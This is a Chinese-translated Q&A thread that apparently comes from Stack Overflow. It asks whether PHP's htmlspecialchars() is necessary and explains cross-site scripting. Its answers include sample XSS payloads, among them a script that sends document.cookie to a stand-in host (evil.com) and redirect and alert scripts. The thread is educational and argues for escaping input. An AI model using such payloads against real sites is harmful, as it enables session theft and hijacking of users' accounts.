这难道不是必要的吗?

这难道不是必要的吗?

问题描述:

我一直在寻找在php.net manual,它有这行代码:这难道不是必要的吗?

Hi <?php echo htmlspecialchars($_POST['name']); ?>. 
You are <?php echo (int)$_POST['age']; ?> years old. 

它说下:

用htmlspecialchars()可以确保在HTML特殊的任何字符编码正确这样的人不能将HTML标记或Javascript注入到页面中。

这真的有必要?

有人真的可以把恶意代码放入那一行吗?有什么需要担心的?有东西可以注入到该行来运行一些PHP代码?即使在这种情况下没有威胁,他们是不是习惯于监视这个人?

+1

是的。即使没有安全问题(有,请参阅答案),由于某人输入完全正确的数据而导致页面中断(或无声地删除部分输入内容),这种情况非常令人讨厌,这些数据恰好具有HTML标记中使用的某些字符。 – delnan 2012-03-27 16:41:42

+0

我以为你正在调用'htmlspecialcharacters'两次 – 2012-03-27 16:42:37

+1

编写web应用程序的一个很好的经验法则是**从不**信任用户输入。 – NullUserException 2012-03-27 16:48:12

如果某人的名字恰巧是:

<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script> 

然后蠕虫可被释放到您的网站上。从本质上讲,蠕虫只是一个脚本,它接受用户会话cookie,登录,然后做恶意的事情,随着更多人查看它而自我复制。

+1

cookie窃取的好例子。 +1。 – ceejayoz 2012-03-27 16:45:40

是的,这是必要的。有关cross-site scripting vulnerabilities的信息,请参阅*。

PHP无法使用XSS运行,但攻击者可以窃取会话cookie。举例来说,如果该会话cookie适用于CMS上的管理员,则可能会造成灾难性后果。

+0

在这种情况下,世界上会发生什么?如果他放入类似“'的东西;的phpinfo(); “'? – qwertymk 2012-03-27 16:42:24

+0

不,他将JavaScript代码放在一个请求中,该请求将用户的“document.cookie”值传递给第三方服务器。正如我所说的,PHP不能通过这种漏洞来运行(除非你对$ _POST变量进行评估)。 – ceejayoz 2012-03-27 16:45:07

+1

@ceejayoz评价用户输入...现在,这总是一个绝妙的主意! – NullUserException 2012-03-27 16:49:44

这不仅是为了安全。例如,如果您收到Fred&Jen作为$_POST['name']它会使XML文档无效。

是的,有人可以例如注入一些Javascript代码,当它显示时,例如将它们重定向到另一个网站(这是相当无害的)。

例如:

<script type="text/javascript"> 
window.location = "http://www.google.com/" 
</script> 

会重定向用户到谷歌如果它被张贴不需要转义

如果您只打印同一用户的帖子,他们不会对您或其他用户造成太大的伤害。但是,它仍然很有用,因为用户可能会使用“>”和“<”,它们会破坏内容的表示形式。

但是,如果您要显示其他用户提交的内容,这会变得更加危险。

用户可以注入任何从链接到其他网站的任何内容到javascript。

<script>window.location = 'http://www.evilsite.com';</script> 

而所有来这个网站显示用户提交内容的用户将被重定向到邪恶。

+0

你是说反射式XSS不会造成任何伤害?有很多方法可以利用反射式XSS,只是因为它不是一个持久的XSS,并不意味着它是无懈可击的。 – MrCode 2012-03-27 17:01:42

PHP代码不能被注入该字段,因为它不是由PHP解释器评估的,但它确实引入了跨站点脚本的潜力。

您可以通过使用这样的测试:

<form action="" method="POST"> 
<input type="text" name="name"/> 
<input type="submit"/> 
</form> 

<?php 
if(isset($_POST['name'])){?> 
    Hi <?php echo htmlspecialchars($_POST['name']); ?>. 
<?php}?> 

然后在“名称”字段,提交此代码,看看会发生什么:

<script type="text/javascript">alert("P0WN3D");</script> 

这里的威胁是XSS。这是一个攻击者尝试使用XSS攻击执行的Javascript代码。

看到自己,取出用htmlspecialchars(),然后张贴此为name

<script>alert('xss')</script> 

你会看到你的PHP代码将打印出来,浏览器将执行JavaScript。 最常见的XSS攻击是在用户已登录会话的Web应用程序上。成功的XSS攻击可以使用document.cookie来读取受害者的会话ID cookie,然后将其发送给攻击者网站,攻击者可以在其中进行会话劫持。

这种攻击被称为反射XSS。更严重的XSS类型是持久性XSS这是您将输入存储到数据库的位置,例如,然后将其打印在您的主页上以供所有用户查看或任何其他页面。持续的XSS更有害,因为XSS持续存在的页面访问者可能会受到攻击,而实际上不必为每个受害者重新发起攻击。

有人真的可以把恶意代码放入那一行吗?
是的。

enter image description here

+0

虽然有趣,但这是一个SQL注入,这不是我所问的 – qwertymk 2012-03-27 20:03:50

+0

真正的问题涉及到客户端漏洞。另一方面,这里学到的教训是一样的:不要渲染未经处理的输入。无论它是客户端,服务器端,SQL,HTML,PHP,Perl,无论如何。如果您编写的代码接受来自不受信任来源的输入,则不要直接渲染输入。 – 2012-03-27 20:17:27